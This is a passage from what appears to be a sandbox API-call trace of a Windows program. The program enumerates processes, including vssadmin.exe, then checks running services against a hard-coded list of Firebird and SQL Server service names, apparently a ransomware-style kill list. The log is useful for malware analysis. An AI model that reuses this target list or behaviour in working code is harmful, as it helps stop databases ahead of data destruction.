cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0224.668] lstrlenW (lpString="conhost.exe") returned 11 [0224.668] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0224.669] lstrlenW (lpString="vssadmin.exe") returned 12 [0224.669] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.673] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0224.673] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0224.674] lstrlenW (lpString="VSSVC.exe") returned 9 [0224.674] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.675] lstrlenW (lpString="svchost.exe") returned 11 [0224.675] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0224.676] lstrlenW (lpString="LogonUI.exe") returned 11 [0224.676] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0224.913] CloseHandle (hObject=0x20c) returned 1 [0224.913] Sleep (dwMilliseconds=0x1f4) [0225.592] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5701a0 [0225.593] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0225.593] GetLastError () returned 0xea [0225.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0225.593] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0225.594] CloseServiceHandle (hSCObject=0x5701a0) returned 1 [0225.594] lstrlenW (lpString="Appinfo") returned 7 [0225.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0225.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0225.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0225.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0225.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0225.595] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0225.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0225.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0225.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0225.595] lstrlenW (lpString="AudioSrv") returned 8 [0225.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0225.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0225.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0225.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0225.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0225.595] lstrlenW (lpString="BFE") returned 3 [0225.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0225.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0225.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0225.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0225.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0225.595] lstrlenW (lpString="CryptSvc") returned 8 [0225.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0225.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0225.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0225.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0225.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0225.596] lstrlenW (lpString="CscService") returned 10 [0225.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0225.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0225.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0225.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0225.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0225.596] lstrlenW (lpString="DcomLaunch") returned 10 [0225.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0225.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0225.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0225.596] lstrlenW (lpString="Dhcp") returned 4 [0225.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0225.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0225.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0225.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0225.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0225.597] lstrlenW (lpString="Dnscache") returned 8 [0225.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0225.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0225.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0225.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0225.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0225.597] lstrlenW (lpString="DPS") returned 3 [0225.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0225.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0225.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0225.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0225.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0225.597] lstrlenW (lpString="eventlog") returned 8 [0225.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0225.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0225.598] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0225.598] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0225.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0225.598] lstrlenW (lpString="EventSystem") returned 11 [0225.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0225.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0225.598] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0225.598] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0225.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0225.598] lstrlenW (lpString="FontCache") returned 9 [0225.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0225.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0225.598] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0225.598] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0225.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0225.598] lstrlenW (lpString="gpsvc") returned 5 [0225.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0225.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0225.598] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0225.598] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0225.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0225.598] lstrlenW (lpString="iphlpsvc") returned 8 [0225.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.598] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0225.598] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0225.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0225.598] lstrlenW (lpString="LanmanServer") returned 12 [0225.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0225.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0225.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0225.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0225.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0225.599] lstrlenW (lpString="LanmanWorkstation") returned 17 [0225.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0225.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0225.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0225.599] lstrlenW (lpString="lmhosts") returned 7 [0225.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0225.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0225.599] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0225.599] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0225.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0225.599] lstrlenW (lpString="MMCSS") returned 5 [0225.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0225.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0225.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0225.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0225.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0225.600] lstrlenW (lpString="MpsSvc") returned 6 [0225.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0225.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0225.600] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0225.600] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0225.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0225.600] lstrlenW (lpString="Netman") returned 6 [0225.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0225.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0225.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0225.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0225.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0225.600] lstrlenW (lpString="netprofm") returned 8 [0225.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0225.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0225.601] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0225.601] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0225.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0225.601] lstrlenW (lpString="NlaSvc") returned 6 [0225.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0225.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0225.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0225.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0225.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0225.601] lstrlenW (lpString="nsi") returned 3 [0225.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0225.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0225.601] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0225.601] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0225.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0225.601] lstrlenW (lpString="PcaSvc") returned 6 [0225.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0225.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0225.601] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0225.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0225.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0225.602] lstrlenW (lpString="PlugPlay") returned 8 [0225.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0225.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0225.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0225.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0225.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0225.602] lstrlenW (lpString="Power") returned 5 [0225.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0225.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0225.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0225.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0225.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0225.602] lstrlenW (lpString="ProfSvc") returned 7 [0225.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0225.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0225.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0225.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0225.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0225.602] lstrlenW (lpString="RpcEptMapper") returned 12 [0225.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0225.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0225.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0225.603] lstrlenW (lpString="RpcSs") returned 5 [0225.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0225.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0225.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0225.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0225.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0225.603] lstrlenW (lpString="SamSs") returned 5 [0225.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0225.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0225.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0225.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0225.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0225.603] lstrlenW (lpString="Schedule") returned 8 [0225.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0225.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0225.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0225.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0225.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0225.603] lstrlenW (lpString="SENS") returned 4 [0225.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0225.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0225.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0225.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0225.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0225.604] lstrlenW (lpString="ShellHWDetection") returned 16 [0225.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.604] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0225.604] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0225.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0225.604] lstrlenW (lpString="Spooler") returned 7 [0225.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0225.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0225.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0225.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0225.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0225.604] lstrlenW (lpString="sppsvc") returned 6 [0225.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0225.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0225.604] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0225.604] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0225.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0225.604] lstrlenW (lpString="swprv") returned 5 [0225.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0225.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0225.604] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0225.604] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0225.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0225.604] lstrlenW (lpString="SysMain") returned 7 [0225.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0225.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0225.605] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0225.605] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0225.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0225.605] lstrlenW (lpString="Themes") returned 6 [0225.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0225.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0225.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0225.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0225.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0225.605] lstrlenW (lpString="TrkWks") returned 6 [0225.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0225.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0225.605] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0225.605] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0225.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0225.605] lstrlenW (lpString="UxSms") returned 5 [0225.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0225.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0225.605] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0225.605] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0225.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0225.605] lstrlenW (lpString="VSS") returned 3 [0225.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0225.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0225.605] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0225.605] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0225.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0225.605] lstrlenW (lpString="WdiServiceHost") returned 14 [0225.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0225.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0225.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0225.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0225.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0225.606] lstrlenW (lpString="WdiSystemHost") returned 13 [0225.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0225.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0225.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0225.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0225.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0225.606] lstrlenW (lpString="WinDefend") returned 9 [0225.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0225.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0225.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0225.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0225.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0225.606] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0225.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0225.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0225.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0225.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0225.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0225.606] lstrlenW (lpString="Winmgmt") returned 7 [0225.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0225.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0225.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0225.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0225.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0225.607] lstrlenW (lpString="wscsvc") returned 6 [0225.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0225.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0225.607] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0225.607] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0225.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0225.607] lstrlenW (lpString="wuauserv") returned 8 [0225.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0225.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0225.607] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0225.607] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0225.607] lstrcmpiW (lpString1="sqlserveradhelper", 